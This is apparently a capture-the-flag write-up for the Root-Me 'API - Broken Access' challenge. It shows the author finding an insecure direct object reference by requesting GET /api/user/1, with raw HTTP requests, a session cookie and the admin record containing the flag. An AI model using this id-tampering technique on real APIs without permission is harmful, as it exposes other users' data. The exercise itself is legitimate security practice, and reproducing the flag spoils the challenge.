

API - Broken Access

Lab: <https://www.root-me.org/en/Challenges/Web-Server/API-Broken-Access>

- In this lab, we can interact with Json data in the request.
- Signup and login by changing the value of json data and executing
- The most suspicious API that i can think is GET /api/user to retrieve the user information
 - We can use user_id to retrieve the information in the request body in json
 - However, whatever id we change, only the information belonged to the current user is showed

Name	Description
user_id	
integer	40
(path)	

Execute

Clear

Responses

Response content type: application/json

Curl

```
curl -X 'GET' \
'http://challenge01.root-me.org:59088/api/user' \
-H 'accept: application/json'
```

Request URL

```
http://challenge01.root-me.org:59088/api/user
```

Server response

Code

Details

200

Response body

```
{
  "note": "",
  "userid": 2,
  "username": "new"
}
```

Download

Response headers

```
access-control-allow-origin: *
connection: close
content-length: 40
content-type: application/json
date: Thu, 12 Sep 2024 08:44:17 GMT
server: Werkzeug/3.0.4 Python/3.11.9
vary: Cookie
```

- Initially, i call API to GET /api/user/?id=1 or GET /api/user?id=1, but it doesn't work
- Next, i call API to GET /api/user/1 and get the flag

<pre>GET /api/user/1 HTTP/1.1 Host: challenge01.root-me.org:59088 accept: application/json Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 Referer: http://challenge01.root-me.org:59088/ Accept-Encoding: gzip, deflate, br Cookie: session= .eJwlzjsOwjAMANC7ZGZwE9uxexkU_wRrSyfE3UHineC9272OPB9tfx1X3tr9GWlvIECgGzpy OUrP1UVjjaHYhQ2B1UYOLFRYKiQKWe1Dq9ZWgZOqZokyRVBPMBMic131ZskKTNOOOpxoK-OH DEHs5pPEWy_yHXm8d_09vkCwtOv2w.ZuKmWg.nXNmdNkqObtESPzmrbd_USODStE Connection: keep-alive</pre>	<pre>1 HTTP/1.1 200 OK 2 Server: Werkzeug/3.0.4 Python/3.11.9 3 Date: Thu, 12 Sep 2024 08:51:26 GMT 4 Content-Type: application/json 5 Content-Length: 62 6 Access-Control-Allow-Origin: * 7 Vary: Cookie 8 Connection: close 9 10 { 11 "note": "RM(E4sy_ldOr_On_API)", 12 "userid": 1, 13 "username": "admin" 14 }</pre>
--	---